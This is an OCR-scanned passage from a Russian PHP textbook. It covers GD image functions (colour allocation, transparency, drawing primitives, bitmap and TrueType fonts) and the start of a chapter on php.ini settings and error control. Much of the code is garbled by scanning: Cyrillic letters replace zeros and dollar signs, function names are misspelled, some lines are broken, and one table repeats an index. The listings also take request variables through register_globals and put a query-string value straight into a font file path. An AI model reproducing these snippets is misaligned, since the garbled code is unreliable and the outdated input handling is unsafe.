Наверное, теперь вам захочется что-нибудь нарисовать на пустой или только
что загруженной картинке. Но чтобы рисовать, нужно определиться, каким
цветом это делать. Проще всего указать цвет заданием тройки RGB-значений
(от red-green-blue) — это три цифры от 0 до 255, определяющие содержание
красной, зеленой и синей составляющих в нужном нам цвете. Число 0 обо-
значает нулевую яркость соответствующей компоненты, а 255 — максималь-
ную интенсивность. Например, (0,0,0) задает черный цвет, (255,255,255) -
белый, (255,0,0) — ярко-красный, (255,255,0) — желтый и т. д.

Правда, GD не умеет работать с такими тройками напрямую. Она требует,
чтобы перед использованием RGB-цвета был получен его специальный
идентификатор. Дальше вся работа опять же осуществляется через этот
идентификатор. Скоро станет ясно, зачем нужна такая техника.

Создание нового цвета

int imageColorAl locate (int $im , int $red , int $green , int $blue)

Функция возвращает идентификатор цвета, связанного с соответствующей
тройкой RGB. Обратите внимание , что первым параметром функция требует
идентификатор изображения, загруженного в память или созданного до
этого. Практически каждый цвет, который планируется в дальнейшем ис-
пользовать, должен быть получен (определен) при помощи вызова этой
функции. Почему "практически" - станет ясно после рассмотрения функ-
ции ImageColorClosest О .

Получение ближайшего цвета

Давайте разберемся, зачем это придумана такая технология работы с цвета-
ми через промежуточное звено — идентификатор цвета. А дело все в том,
что некоторые форматы изображений (такие как GIF и частично PNG) не

----------------------- Page 336-----------------------
Глава 23. Работа с изображениями 321

поддерживают любое количество различных цветов в изображении. А имен-
но, в GIF количество одновременно присутствующих цветов ограничено
цифрой 256, причем чем меньше цветов используется в рисунке, тем лучше
он "сжимается" и тем меньший размер имеет файл. Тот набор цветов, кото-
рый реально использован в рисунке , называется его палитрой.

Представим себе, что произойдет, если все 256 цветов уже "заняты" и вызы-
вается функция imageCoiorAiiocate о . В этом случае она обнаружит, что
палитра заполнена полностью, и найдет среди занятых цветов тот, который
ближе всего находится к запрошенному — будет возвращен именно его
идентификатор. Если же "свободные места" в палитре есть, то они и будут
использованы этой функцией (конечно, если в палитре вдруг не найдется
точно такой же цвет, как запрошенный — обычно дублирование одинаковых
цветов всячески избегается).
int imageColorClosest(int $im , int $red , int $green , int $blue)

Наверное, вы уже догадались, зачем нужна функция imageColorClosest о .
Вместо того чтобы пытаться выискать свободное место в палитре цветов,
она просто возвращает идентификатор цвета, уже существующего в рисунке
и находящегося ближе всего к затребованному. Таким образом, нового цвета
в палитру не добавляется. Если палитра невелика , то функция может вер-
нуть не совсем тот цвет, который вы ожидаете. Например, в палитре из трех
цветов "красный-зеленый-синий" на запрос желтого цвета будет, скорее
всего, возвращен идентификатор зеленого — он "ближе всего" с точки зре-
ния GD соответствует понятию "зеленый".

Эффект прозрачности

ФуНКЦИЮ imageColorClosest () МОЖНО И НуЖНО ИСПОЛЬЗОВаТЬ, ССЛИ МЫ Н6

хотим допустить разрастания палитры и уверены, что требуемый цвет в ней
уже есть. Однако есть и другое, гораздо более важное, ее применение — оп-
ределение эффекта прозрачности для изображения. "Прозрачный" цвет ри-
сунка — это просто те точки, которые в браузер не выводятся. Таким обра-
зом, через них "просвечивает" фон. Прозрачный цвет у картинки всегда
ОДИН, И задается ОН при ПОМОЩИ ФУНКЦИИ imageColorTransparent () .

int imageColorTransparent(int $im [,$int col] )

Функция imageColorTransparent о указывает GD, что соответствующий цвет
$coi (заданный своим идентификатором) в изображении $im должен обозна-
читься как прозрачный. Возвращает она идентификатор установленного до
этого прозрачного цвета, либо false , если таковой не был определен ранее.

( Замечание ^

Не все форматы поддерживают задание прозрачного цвета — например, JPEG
не может его содержать.

----------------------- Page 337-----------------------
322 Часть IV. Стандартные функции РНР

Например, мы нарисовали при помощи GD птичку на кислотно-зеленом
фоне и хотим, чтобы этот фон как раз и был "прозрачным" (вряд ли у птич-
ки есть части тела такого цвета, хотя с нашей экологией все может быть...).
В этом случае нам потребуются такие команды :

$tc=imageColorClosest($im,0,255,0);

imageColorTransparent($im,$tc);

Обратите внимание на то, что применение функции imageCoiorAiiocate o
здесь совершенно бессмысленно, потому что нам нужно сделать прозрач-
ным именно тот цвет, который уже присутствует в изображении , а не но-
вый, только что созданный.

Получение RGB-составляющих

array imageColorsForlndex(int $im , int $index )

Функция возвращает ассоциативный массив с ключами red , green и blu e
(именно в таком порядке), которым соответствуют значения, равные вели-
чинам компонент RGB в идентификаторе цвета $index . Впрочем, мы можем
и не обращать особого внимания на ключи и преобразовать возвращенное
значение как список:

$c=imageColorAt($1,0, 0) ;

list($r,$g,$b)=array_values(imageColorsForlndex($i,$c));

echo "R=$r, g=$g , b=$b";

Эта функция ведет себя противоположно по отношению к
imageCollorAllocate () ИЛИ imageColorClosest ().

Графические примитивы

Здесь мы рассмотрим минимальный набор функций для работы с картинка-
ми. Приведенный список функций не полон и постоянно расширяется вме-
сте с развитием GD. Но все же он содержит те функции , которые вы будете
употреблять в 99% случаев. За полным списком функций обращайтесь к до-
кументации или на http://ru.php.net.

Копирование изображений

int imageCopyResized(int $dst_im , int $src_im , int $dstX , int $dstY ,

int $srcX , int $srcY , int $dstw , int $dstH ,

int $srcW , int SsrcH )

Эта функция — одна из самых мощных и универсальных, хотя и выглядит
просто ужасно. С помощью нее можно копировать изображения (или их

----------------------- Page 338-----------------------
Глава 23. Работа с изображениями 323

участки) , перемещать и масштабировать их. Пожалуй, 10 параметров для
функции — чересчур, но разработчики РНР пошли таким путем. Что же, это
их право...

Итак, $dst_im задает идентификатор изображения, в который будет поме-
щен результат работы функции. Это изображение должно уже быть создано
или загружено и иметь надлежащие размеры. Соответственно, $src_im -
идентификатор изображения, над которым проводится работа. Впрочем,
$src_im и $dst_im могут и совпадать.

Параметры ($srcx , $ s r c Y , $srcw , $згсн) (обратите внимание на то, что они
следуют при вызове функции не подряд!) задают область внутри исходного
изображения, над которой будет осуществлена операция — соответственно,
координаты ее верхнего левого угла, ширину и высоту.
Наконец, четверка (Sdstx , $dstY , $dstw , $dstH) задает то место на изобра-
жении $dst im, в которое будет "втиснут" указанный в предыдущей четверке
прямоугольник. Заметьте, что, если ширина или высота двух прямоугольни -
ков не совпадают, то картинка автоматически будет нужным образом растя-
нута или сжата.

Таким образом, с помощью функции imageCopyResizedO мы можем:
П копировать изображения;

П копировать участки изображений;
П масштабировать участки изображений;
П копировать и масштабировать участки изображения в пределах одной
картинки.
В последнем случае возникают некоторые сложности, а именно, когда тот
блок, из которого производится копирование, частично налагается на место,
куда он должен быть перемещен. Убедиться в этом проще всего экспери-
ментальным путем. Почему разработчики GD не предусмотрели средств,
которые бы корректно работали и в этом случае, не совсем ясно.

Прямоугольники

int imageFilledRectangle(int $im,int $xl,int $yl,int $x2,int $y2,int $c)
Название этой функции говорит за себя: она рисует закрашенный прямо-
угольник в изображении, заданном идентификатором Sim , цветом $coi
(полученным, например , при помощи функции imageColorAllocate О) . Ко-
ординаты ($xi,$yi) и ($х2,$у2) задают координаты верхнего левого и пра-
вого нижнего углов, соответственно (отсчет, как обычно, начинается с ле-
вого верхнего угла и идет слева направо и сверху вниз).
Эта функция часто применяется для того, чтобы целиком закрасить только
что созданный рисунок, например, прозрачным цветом:
'

Si=imageCreate(100, 100) ;

----------------------- Page 339-----------------------
324 Часть IV. Стандартные функции РНР

$c=imageColorAllocate($i, О , О , 0) ;

imageColorTransparent($i,$c);

imageFilledRectangle($i,О,О,imageSX($i)-1,imageSY($i)-1,$с);

// дальше работаем с изначально прозрачным фоном

int imageRectangle(int $im , int $xl , int $yl , int $x2 , int $y2 , int $col)

Функция imageRectangle о рисует в изображении прямоугольник с грани-
цей толщиной 1 пиксел цветом $coi. Параметры задаются так же, как и в
функции imageFilledRectangle ( ) .

Линии

int imageLine(int $im, int $xl, int $yl, int $x2, int $y2, int $col)
Эта функция рисует сплошную тонкую линию в изображении $im, прохо-
дящую через точки ($xl,$yl) и ($х2,$у2), цветом $coi. Линия получается
слабо связанной (про связность см. чуть ниже).
int imageDashedLline(int $im,int $xl,int $yl,int $x2,int $y2,int $col)

Функция imageDashedLine ( ) работает ПОЧТИ так же, как И imageLine ( } ,
только рисует не сплошную, а пунктирную линию. К сожалению, ни раз-
мер, ни шаг штрихов задавать нельзя, так что, если вам обязательно нужна
пунктирная линия произвольной фактуры, придется заняться математиче-
скими расчетами И ИСПОЛЬЗОВать imageLine ( ) .

Дуга сектора

int imageArcfint $im,int $cx,int $cy,int $w,int $h,int $s,int $e,int $c)

Функция imageArc ( ) рисует в изображении $im дугу сектора эллипса от угла
$s до $е (углы указываются в градусах против часовой стрелки, отсчитывае-
мых от горизонтали). Эллипс рисуется такого размера, чтобы вписываться в
прямоугольник ($x,$y,$w,$h), где $w и $ь задают его ширину и высоту, а $х
и $у — координаты левого верхнего угла. Сама фигура не закрашивается,
обводится только ее контур, для чего используется цвет $с.

Закраска произвольной области

int imageFill(int $im, int $x, int $y, int $col)

Функция imageFill о выполняет сплошную заливку одноцветной области,
содержащей точку с координатами ($х,$у) цветом $coi. Нужно заметить, что
современные алгоритмы заполнения работают довольно эффективно, так
что не стоит особо заботиться о скорости ее работы. Итак, будут закрашены
только те точки, к которым можно проложить "одноцветный сильно связан-
ный путь" из точки ($х,$у).

----------------------- Page 340-----------------------
Глава 23. Работа с изображениями 325

^ Примечание

Две точки называются связанными сильно, если у них совпадает по крайней
мере одна координата, а по другой координате они отличаются не более, чем
на 1 в любую сторону.

int imageFillToBorder(int $ira, int $x, int $y, int $border, int $col)

Эта функция очень похожа на imageFiii о , только она выполняет закраску
не одноцветных точек, а любых, но до тех пор, пока не будет достигнута
граница цвета $border . Под границей здесь понимается последовательность
слабо связанных точек.

[^ Примечание

Две точки называются слабо связанными, если каждая их координата отлича-
ется от другой не более, чем на 1 в любом направлении. Очевидно, всякая
сильная связь является также и слабой.

Многоугольники

int imagePolygon(int $im , list $points , int $num_points , int $col)

Эта функция рисует в изображении $im многоугольник, заданный своими
вершинами. Координаты углов передаются в массиве-списке $points , при-
чем $points[0]=xO , $points[1]=уО , $points[2]=xl , $points[3]=yl , И Т . Д .
Параметр $num_points указывает общее число вершин — на тот случай, ес-
ли в массиве их больше, чем нужно нарисовать. Многоугольник не закра-
шивается — только рисуется его граница цветом Scoi .

int imageFilledPolygonfint $im , list $points , int $num_points , int $col)

Функция imageFiiiedPoiygon O делает практически то же самое, что и
imagePolygon ( ) , за исключением одного очень важного свойства: получен-
ный многоугольник целиком заливается цветом $coi . При этом правильно
обрабатываются вогнутые части фигуры, если она не выпукла.

Работа с пикселами

int imageSetPixel(int $im , int $x , int $y , int $col)

Эта функция практически не интересна, т. к. выводит всего один пиксел
цвета $coi в изображении $im, расположенный в точке ($х,$у) . Не думаю ,
чтобы с помощью нее можно было закрасить хоть какую-нибудь сложную
фигуру, потому что, как мы знаем, РНР довольно медленно работает с
длинными циклами, а значит, даже рисование обычной линии с использо-
ванием этой функции будет очень дорогим занятием.

----------------------- Page 341-----------------------
326 Часть IV. Стандартные функции РНР

int imageColorAt(int $im, int $x, int $y)

В ПРОТИВОПОЛОЖНОСТЬ своему аНТИПОДу - фуНКЦИИ ImageSetPixel () -
функция imageColorAt о не рисует, а возвращает цвет точки, расположен-
ной на координатах ($х,$у). Возвращается идентификатор цвета, а не его
RG В-представление.

Функцию удобно использовать, опять же, для определения, какой цвет в кар-
тинке должен быть прозрачным. Например, все у той же птички на кислотно-
зеленом фоне мы достоверно знаем , что прозрачный цвет точно приходится
на точку с координатами (0,0). Таким образом, теперь мы сможем в любой
момент сменить цвет фона на мертвенно-голубой (который тоже у реальной
птицы вряд ли встретится), и программа все равно будет работать правильно.

Работа с фиксированными шрифтами

Библиотека GD имеет некоторые возможности по работе с текстом и шриф-
тами. Шрифты представляют собой специальные ресурсы , имеющие собст-
венный идентификатор , и чаще всего загружаемые из файла или встроенные
в GD. Каждый символ шрифта может быть отображен лишь в моноцветном
режиме , т. е. "рисованные" символы не поддерживаются. Встроенных шриф-
тов всего 5 (идентификаторы от 1 до 5), чаще всего в них входят моноши-
ринные символы разных размеров. Остальные шрифты должны быть пред-
варительно загружены.

Загрузка шрифта

int imageLoadFont(string $file)

Функция загружает файл шрифтов и возвращает идентификатор шрифта -
это будет цифра, большая 5, потому что пять первых номеров зарезервиро-
ваны как встроенные. Формат файла — бинарный, а потому зависит от ар-
хитектуры машины. Это значит, что файл со шрифтами должен быть сгене-
рирован по крайней мере на машине с процессором такой же архитектуры,
как и у той, на котором вы собираетесь использовать РНР. Вот формат
этого файла (табл. 23.1). Левая колонка задает смещение начала данных
внутри файла, а группами цифр, записанных через дефис, определяется, до
какого адреса продолжаются данные .

Таблица 23.1. Формат файла со шрифтом

Смещение Тип Описание

Byte 0-3 long Число символов в шрифте (nchars)

byte 4-7 long Индекс первого символа шрифта (обычно 32 — пробел)

----------------------- Page 342-----------------------
Глава 23. Работа с изображениями 327

Таблица 23. 1 (окончание)

Смещение Тип Описание

byte 8-1 1 long Ширина (в пикселах) каждого знака (width)

byte 12- 15 long Высота [в пикселах) каждого знака (height)

byte 16-... array Массив с информацией о начертании каждого символа, по
одному байту на пиксел. На один символ, таким образом,
приходится width*height байтов, а на все —
width*height*nchars байтов. О означает отсутствие точки в
данной позиции, все остальное — ее присутствие

Параметры шрифта

После того как шрифт загружен, его можно использовать (встроенные
шрифты, конечно же, загружать не требуется).

int imageFontHeight(int $font)

Возвращает высоту в пикселах каждого символа в заданном шрифте.

int imageFontWidth(int $font)

Возвращает ширину в пикселах каждого символа в заданном шрифте.

Вывод строки

int imageString(int $im , int $font , int $x , int $y , string $s , int $col )

Выводит строку $s в изображение $im , используя шрифт Sfon t и цвет $coi .
Координаты ($х,$у) будут координатами левого верхнего угла прямоуголь-
ника, в который вписана строка.

int imageStringUptint $im , int $font , int $x , int $y , string $s , int $c)

Эта функция также выводит строку текста, но не в горизонтальном, а в вер-
тикальном направлении . Верхний левый угол, по-прежнему , задается коор-
динатами ($х,$у) .

Работа со шрифтами TrueType

Библиотека GD поддерживает также работу со шрифтами PostScript и True-
Type. Мы с вами рассмотрим только последние, т. к., во-первых, их сущест-
вует великое множество (благодаря платформе Windows), а во-вторых, с ни-
ми проще всего работать в РНР.

Замечание

Для того чтобы заработали приведенные ниже функции, РНР должен быть
откомпилирован и установлен вместе с библиотекой FreeType, доступной по

----------------------- Page 343-----------------------
328 Часть IV. Стандартные функции РНР

адресу http://www.freetype.org . В Windows-версии РНР она установлена по
умолчанию.

Всего существует две функции для работы со шрифтами TrueType. Одна из
них выводит строку в изображение, а вторая — определяет, какое положе-
ние эта строка бы заняла при выводе.

Вывод строки

list imageTTFText(int $im, int $size, int $angle, int $x, int $y,
int $col, string $fontfile , string $text)

Эта функция помещает строку $text в изображение $im цветом $col. Как
обычно, $coi должен представлять собой допустимый идентификатор цвета.
Параметр $angie задает угол наклона в градусах выводимой строки, отсчи-
тываемый от горизонтали против часовой стрелки. Координаты ($х,$у) ука-
зывают положение так называемой базовой точки строки (обычно это ее ле-
вый нижний угол). Параметр $size задает размер шрифта, который будет
использоваться при выводе строки. Наконец, $fontfile должен содержать
имя TTF-файла, в котором, собственно, и хранится шрифт.

Внимание

Хотя в официальной документации об этом ничего не сказано, я рискну взять
на себя ответственность и заявить, что параметр $fontfile должен всегда
задавать абсолютный путь (от корня файловой системы) к требуемому файлу
шрифтов. Что самое интересное, в РНР версии 3 функции все же работают с
относительными именами. Но в любом случае лучше подстелить соломку —
абсолютные пути еще никому не вредили, не правда ли?..

Функция возвращает список из 8 элементов. Первая их пара задает коорди-
наты (х,у) верхнего левого угла прямоугольника, описанного вокруг строки
текста в изображении, вторая пара — координаты верхнего правого угла,
и т. д. Так как в общем случае строка может иметь любой наклон $angie ,
здесь требуются 4 пары координат.

Вот пример использования этой функции:

; Листинг 23.2. Вывод TrueType-строки

// Выводимая строка
$string="Hello world!";
// Создаем рисунок подходящего размера
$im = imageCreate<300,40) ;
// Создаем в палитре новые цвета

----------------------- Page 344-----------------------
Глава 23. Работа с изображениями 329

$black = imageColorAllocate($im , О, О, 0) ;
$orange = imageColorAllocate ($im, 220 , 210, 6 0 ) ;
// Закрашиваем картинку
imageFill ($im, 0, 0, $black) ;
// Рисуем строку текста (файл times . ttf расположен в текущем каталоге)
imagettftext ($im , 50, 0,20 , 35, $orange, getcwdO . "/times . ttf ", $string) ;
// Сообщаем о том, что далее следует рисунок PNG
Header ( "Content-type : image/png" ) ;
// Выводим рисунок
imagePng ($im) ;

Определение границ строки

list imageTTFBBox ( int $size , int $angle , string $fontfile , string $text )

Эта функция ничего не выводит в изображение, а просто определяет, какой
размер и положение заняла бы строка текста $text размера $size , выведен-
ная под углом $angie в какой-нибудь рисунок . Параметр Sfontfiie , как и в
функции imageTTFText ( ) , задает абсолютный путь к файлу шрифта, кото-
рый будет использован при выводе.

Возвращаемый список содержит всю информацию о размерах строки в
формате, похожем на тот, что выдает функция imageTTFText ( ) . Однако по-
рядок точек в нем отличается (табл. 23.2).

Таблица 23.2. Содержимое списка, возвращаемого функцией

Индексы Что содержится

О и 1 (х,у) левого нижнего угла

2 и 3 (х,у) правого нижнего угла

4 и 5 (х,у) правого верхнего угла

4 и 5 (х,у) левого верхнего угла

Пример

В листинге 23.3 я привожу пример сценария, который использует возмож-
ности вывода TrueType-шрифтов, а также демонстрирует работу с цветом
RGB. Хотя размер примера довольно велик, рисунок, который он генериру-
ет, выглядит довольно привлекательно (см. рис. 23.1).

----------------------- Page 345-----------------------
330 • Часть IV. Стандартные функции РНР

\ Листинг 23.3. Вывод строки произвольного формата

// Аналог imageColorAllocate( ) (по умолчанию) , но работает не с

// RGB-тройкой , а с цветом в формате XXYYZZ , где :

// * XX — red-составляющая в шестнадцатеричном формате ;

// * YY — green-составляющая в шестнадцатеричном формате ;

// * .ZZ — blue-составляющая в шестнадцатеричном формате .

// Можно .указать другую функцию получения цвета , задав ее

// имя в параметре $func (например , imageColorClosest) .

function imageColorHex($im , $c , $func="imageColorAllocate" )

{ // Сначала дополняем нулями в начале , если нужно

for/$i=strlen ($cl ; $i<6 ; $i++ ) $c='0'.$c;

$r=hexdec(substr($c,0,2));

$g=hexdec(substr($c,2,2));

$b=hexdec(substr($c,4,2));

return $func($im,$r,$g,$b) ;

// Первым делом устанавливаем параметры по умолчанию . Эти

// параметры можно переопределять при вызове сценария

// (например , ttf.php?a=20&f=arial&text=Hi+there )

11 угол поворота 'по умолчанию 30)

// размер шрифта (80)

if(!@$b) $b="OOAAAA" ; // цвет заднего плана (зеленовато-голубой)

if(!@$c) $c="FFFFOO" ; // цвет букв (ярко-желтый)

if(!@$d) $d=10; // зазор между текстом и границей рисунка

if(!@$f) $f="times"; // шрифт

if(!@$text) $text="Hello world!" ; // текст

// Получаем границы рамки текста

$Bnd=imageTTFBBox($s,$a,getcwd()."/$f.ttf",$text);

// Массивы х- и у-координат всех точек

$X=$Y=array();

// Заполняем эти массивы на основании SBnd

for($i=0; $i<4 ; $i++) {

$X[]=$Bnd[$i*2];

$Y[]=$Bnd[$i*2+l];

----------------------- Page 346-----------------------
Глава 23. Работа с изображениями _ 33 1

II Вычисляем размер картинки с учетом зазора $d

$MX=max($X) -min($X ) +$d*2 ; // размер по х

$MY=max($Y)-min($Y)+$d*2; // размер по у

// Теперь вычисляем координаты базовой точки строки , чтобы

// она располагалась точно по центру поля картинки
$x=$d+$Bnd[Oi -miri ($X )i-2 , •

$y=$d+$Bnd[l] -min !SY) +2 ;

// Создаем рисунок нужного размера
$im = imageCreate ($MX , $MY ) ;

// Создаем в палитре новые цвета

$black = imageColorHex ($im, 0); // черный (тень )

$back = imageColorHex ($im, $b ) ; // задний план
$front = imageColorHex ($im, $c) ; // цвет букв

// Очищаем задний план
imageFill (Sim , 0, 0, Sback ) ;
imageRectangle ($im, 0, О , $МХ-1 , $MY-1 , $black ) ;

// Выводим тень от текста

imagettftext ($im,$s,$a , $x+2 , $y+2 , $black , getcwdO . "/$f . ttf", $text ) ;

// Выводим текст

imagettftext ($im, $s,$a , $x , $y , $f ront , getcwd( ) . "/$f . ttf ", $text ) ;

// Выводим рисунок в браузер

Header ("Content-type : image/png" ) ;

imagePng ($im) ;

Сценарий из листинга 23.3 (назовем его ttf . php) генерирует картинку с за-
данным цветом заднего плана, в которую выводится указанная строка с те-
нью. При этом используется TrueType-шрифт, а также определяются размер
строки, угол ее наклона, цвет и т. д.
Формат вызова сценария имеет следующий общий вид:

r
ttf .php?a=Fpaflycbi&s=Pa3Mep&b=3aflHnftU BeT&c=U,BeT&d=3a30p&f=<I>oHT&text=TeKCT

Ни один из этих параметров не является обязательным — в случае пропуска
подставляются значения по умолчанию (см. листинг 23.3).
Необходимо заметить, что прежде, чем запускать сценарий , нужно скопиро-
вать TTF-файл со шрифтом в каталог, где расположена программа
(например, взяв его из с: / W I N D O W S / F O N T S для платформы Windows) . Пара-
метр f задает имя этого файла без расширения, и ищется он в текущем ка-
талоге. По умолчанию выбран шрифт Times.

----------------------- Page 347-----------------------
Глава 24

Управление
интерпретатором

РНР, как и любая другая крупная программа, имеет множество различных
настроечных параметров. Слава богу, большинство из них по умолчанию
уже имеют правильные значения . Тем не менее, нередко приходится эти
параметры изменять или проверять. В этой главе мы вкратце рассмотрим ос-
новные возможности конфигурирования РНР и некоторые полезные функ-
ции, управляющие работой интерпретатора.

Информационные
функции

Прежде всего давайте познакомимся с двумя функциями, одна из которых
выводит текущее состояние всех параметров РНР, а вторая — версию ин-
терпретатора.

int phpinfо( )

Эта функция, которая в общем-то не должна появляться в законченной
программе, выводит в браузер большое количество различной информации,
касающейся настроек РНР и параметров вызова сценария. Именно, в стан-
дартный выходной поток (то есть в браузер пользователя) печатается:

П версия РНР;

П опции , которые были установлены при компиляции РНР;

П информация о дополнительных модулях;

П переменные окружения , в том числе и установленные сервером при по-
лучении запроса от пользователя на вызов сценария;

П версия операционной системы;

П состояние основных и локальных настроек интерпретатора;

П HTTP-заголовки;

П лицензия РНР.

----------------------- Page 348-----------------------
Глава 24. Управление интерпретатором 333

Как видим, вывод довольно объемист. Воочию в этом можно убедиться, за-
пустив такой сценарий:

<?
phpinfо() ;
?>

Надо заметить, что функция phpinf о ( ) в основном применяется при перво-
начальной установке РНР для проверки его работоспособности. Думаю, для
других целей использовать ее вряд ли целесообразно — слишком уж много
информации она выдает.

string phpversionO

Функция phpversionO , пожалуй, могла бы по праву занять первое место на
соревнованиях простых функций, потому что все, что она делает — возвра-
щает текущую версию РНР.

int getlastmodO

Завершающая функция этой серии-- getlastmodO - - возвращает время
последнего изменения файла, содержащего сценарий. Она не так полезна,
как это может показаться на первый взгляд, потому что учитывает время
изменения только главного файла, того, который запущен сервером, но не
файлов, которые включаются в него директивами require или include .
Время возвращается в формате timestamp (то есть, это число секунд, про-
шедших с 1 января 1970 года до момента модификации файла), и оно может
быть затем преобразовано в читаемую форму, например:

echo "Последнее изменение: ".date("d.m.Y H:i.s." , getlastmodO) ;

// Выводит что-то вроде 'Последнее изменение: 13.11.2000 11:23.12'

Настройка параметров РНР

Все параметры находятся в файле php.ini . Задаются они в формате
параметр=значение, на одной строке может определяться только один пара-
метр. Любые символы, расположенные после ; и до конца строки, игнориру-
ются (таким образом, точка с запятой — это признак начала комментария).
Если РНР установлен как модуль Apache, применяется несколько другой
способ конфигурирования. Можно задавать настройки РНР в главном кон-
фигурационном файле сервера httpd.conf или в файлах .htaccess . Только
для этого перед именем каждого параметра нужно поставить специальный
префикс (например, php_vaiue; не забудьте о пробеле в конце этого пре-
фикса) и, конечно же, как это принято в Apache, разделять имя параметра и
его значение не знаком равенства, а пробелом.
Некоторые из следующих далее настроек можно переопределить в сценарии с
помощью специальных функций (такой, например, как Error_Reporting()) ,

----------------------- Page 349-----------------------
334 Часть IV. Стандартные функции РНР

некоторые — нельзя. За полным списком настроечных директив РНР обра-
щайтесь к Приложению 2.

error_reporting

Устанавливает уровень строгости для системы контроля ошибок РНР. Зна-
чение этого параметра должно представлять из себя целое число, которое
интерпретируется как десятичное представление двоичной битовой маски.
Установленные в 1 биты задают, насколько детальным должен быть кон-
троль. Можно также не возиться с битами, а использовать константы.

Таблица 24.1. Биты, управляющие контролем ошибок

Бит Константа РНР Назначение

1 Е ERROR Фатальные ошибки

2 Е WARNING Общие предупреждения

4 Е PARSE Ошибки трансляции

8 Е NOTICE Предупреждения

16 Е CORE ERROR Глобальные предупреждения (почти не используются)

32 Е CORE WARNING Глобальные ошибки (не используется)

Наиболее часто встречающееся сочетание - 7 (1+2+4), которое, как мы
можем видеть, задает полный контроль, кроме некритичных предупрежде-
ний интерпретатора (таких, например, как обращение к неинициализиро-
ванной переменной). Оно часто задается по умолчанию при установке РНР.
Я же рекомендую первым делом устанавливать значение этой настройки
равным 255 (соответствует битовой маске со всеми единичками), т. е. вклю-
чить абсолютно все сообщения об ошибках, или же воспользоваться кон-
стантой E_ALL , делающей то же самое.

magic_quotes_gpc onI off

Эта настройка указывает РНР, нужно ли ему ставить дополнительный слэш
перед всеми апострофами ', кавычками ", обратными слэшами \ и нулевы-
ми символами при приеме данных из браузера пользователя — например,
поступивших из формы. Я предпочитаю всегда отключать этот параметр,
потому что от него больше проблем, чем пользы. Например, следующий
вроде бы верный сценарий при повторном нажатии кнопки , если в каком-
нибудь текстовом поле введена кавычка, будет ее "размножать":

// Делаем что-нибудь , если нажата кнопка Go !

----------------------- Page 350-----------------------
Глава 24. Управление интерпретатором 335

?>

<form action=<?echo $SCRIPT_NAME?> method=post>

<input type=text name=name value="<?=@HtmlSpecialChars(Sname)?>">

<input type=text name=email value="<?=@HtmlSpecialChars($email)?>">

<input type=submit name=submit value="Go!">

</form>

Мы получаем явно не то, что требовалось: мы хотели просто, чтобы значе-
ние поля text сохранялось неизменным между запусками сценария. Опера-
тор @ подавляет сообщение об ошибке для следующего за ним выражения,
если она происходит (в нашем случае — при первом запуске сценария, ко-
гда переменные $name и Semaii еще не инициализированы) .

max_execution_time

Директива устанавливает время (в секундах), через которое работа сценария
будет принудительно прервана. Используется она в основном для того, что-
бы запретить пользователям захватывать слишком много ресурсов централь-
ного процессора и избежать "зависания" сценария.

track_vars on/off

Этот параметр очень полезен при программировании. Если он установлен в
On, все данные , доставленные методами GET и POST , а также Cookies, будут
дополнительно помещены в глобальные массивы $HTTP_GET_VARS ,
$HTTP_POST_VARS и $HTTP__COOKIE_VAR S соответственно.

Существуют и другие, более специфичные, параметры, такие как настройка
интерфейсов с базами данных, настройка почтовых возможностей и др.
Обычно их установки по умолчанию удовлетворяют всех. Подробнее о них
можно прочитать в Приложении 2 или на сайте http://www.php.net.

Контроль ошибок

В процессе работы программы в ней могут возникать ошибки . Одна из са-
мых сильных черт РНР — возможность отображения сообщений об ошибках
прямо в браузере, не генерируя пресловутую 500-ю Ошибку сервера (Internal
Server Error), как это делают другие языки. В зависимости от состояния ин-
терпретатора сообщения будут либо выводиться в браузер, либо подавляться.

ДЛЯ установки режима ВЫВОДа ОШИбоК СЛУЖИТ фуНКЦИЯ Error_Reporting ( ) .

int Error_Reporting([int $level])

----------------------- Page 351-----------------------
336 Часть IV. Стандартные функции РНР

Устанавливает уровень строгости для системы контроля ошибок РНР, т. е.
величину параметра error_reporting в конфигурации РНР, который мы не-
давно рассматривали. Рекомендую первой строкой сценария ставить вызов:

Error^Reporting(1+2+4+8);

Да, поначалу будут очень раздражать "мелкие" сообщения типа "исполь-
зование неинициализированной переменной". Практика показывает, что эти
предупреждения на самом деле свидетельствуют (чаще всего) о возможной
логической ошибке в программе, и что при их отключении может возник-
нуть ситуация, когда программу будет очень трудно отладить.

Примечание

Однажды я просидел несколько часов, тщетно пытаясь найти ошибку в сцена-
рии (он работал, но неправильно). После того как я включил полный контроль
ошибок, все выяснилось в течение 5 минут. Вот вам и выигрыш по времени...

Оператор отключения ошибок

Есть и еще один аргумент за то, чтобы всегда использовать полный кон-
троль ошибок. Это — существование в РНР оператора @. Если этот оператор
поставить перед любым выражением, то все ошибки, которые там возник-
нут, будут проигнорированы . Например:

if(!Sfilemtime("notextst.txt"))

echo "Файла не существует ! " ;

Попробуйте убрать оператор @ — тут же получите сообщение: "Файл не най-
ден", а только после этого — вывод оператора echo . Однако с оператором @
предупреждение будет подавлено, что нам и требовалось.

Кстати, в приведенном примере, возможно, несколько логичнее было бы
воспользоваться функцией fiie_exists о , которая как раз и предназначена
для определения факта существования файла, но в некоторых ситуациях это
нам не подойдет. Например:

// Обновить файл , если его не существует или он очень старый

if(!file_exists($fname) I t filemtime($fname)<time()-60*60)

MyFunctionForUpdateFile($fname) ;

Сравните со следующим фрагментом:

// Обновить файл , если его не существует или он очень старый

if(Sfilemtime($fname)<time{)-60*60)

MyFunctionForUpdateFile($fname) ;

Всегда помните об операторе @. Он крайне удобен. Подумайте, стоит ли риско-
вать, устанавливая слабый контроль ошибок при помощи Error_reporting < ) ,
если его и так можно локально установить при помощи @? По-моему, нет.

----------------------- Page 352-----------------------
Глава 24. Управление интерпретатором _ 337

Пример использования оператора @

Вот еще один полезный пример использования оператора @. Пусть у нас
имеется форма с submit-кнопкой, и нам нужно в сценарии определить, на-
жата ли она. Мы можем сделать это так:

if ( ' empty (Ssubir.it 1 ' echo "Кнопк а нажата!" ;

?>

Но, согласитесь, следующий код куда элегантнее:
<?

if (@$submit) echo "Кнопка нажата! "

?>

<form action=<?=$SCRIPT_NAME?> method=post>

<input type=submit name=submit value="Go!">

</form>

Старайтесь чаще пользоваться оператором @ и реже — установкой слабого
контроля ошибок.

Принудительное завершение
программы

void exit ( )

Эта функция немедленно завершает работу сценария . Из нее никогда не
происходит возврата. Перед окончанием программы вызываются функции-
финализаторы, которые скоро будут нами рассмотрены.

void die (string $message)

Функция делает почти то же самое, что и exit ( ) , только перед завершением
работы выводит строку, заданную в параметре $message . Чаще всего ее при-
меняют, если нужно напечатать сообщение об ошибке и аварийно завер-
шить программу.
Полезным примером применения die о может служить такой код:

